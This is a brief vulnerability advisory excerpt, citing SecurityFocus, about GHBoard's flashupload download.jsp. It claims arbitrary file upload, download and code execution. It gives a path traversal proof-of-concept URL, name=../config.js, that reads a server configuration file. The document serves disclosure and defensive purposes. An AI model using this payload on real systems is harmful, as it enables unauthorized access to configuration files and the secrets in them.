source: http://www.securityfocus.com/bid/26182/info

GHBoard is prone to multiple vulnerabilities that let attackers upload and download arbitrary files and execute arbitrary code within the context of the webserver process. 

http://www.example.com/ghboard/component/flashupload/download.jsp?name=[file_name]

http://www.example.com/ghboard/component/flashupload/download.jsp?name=../config.js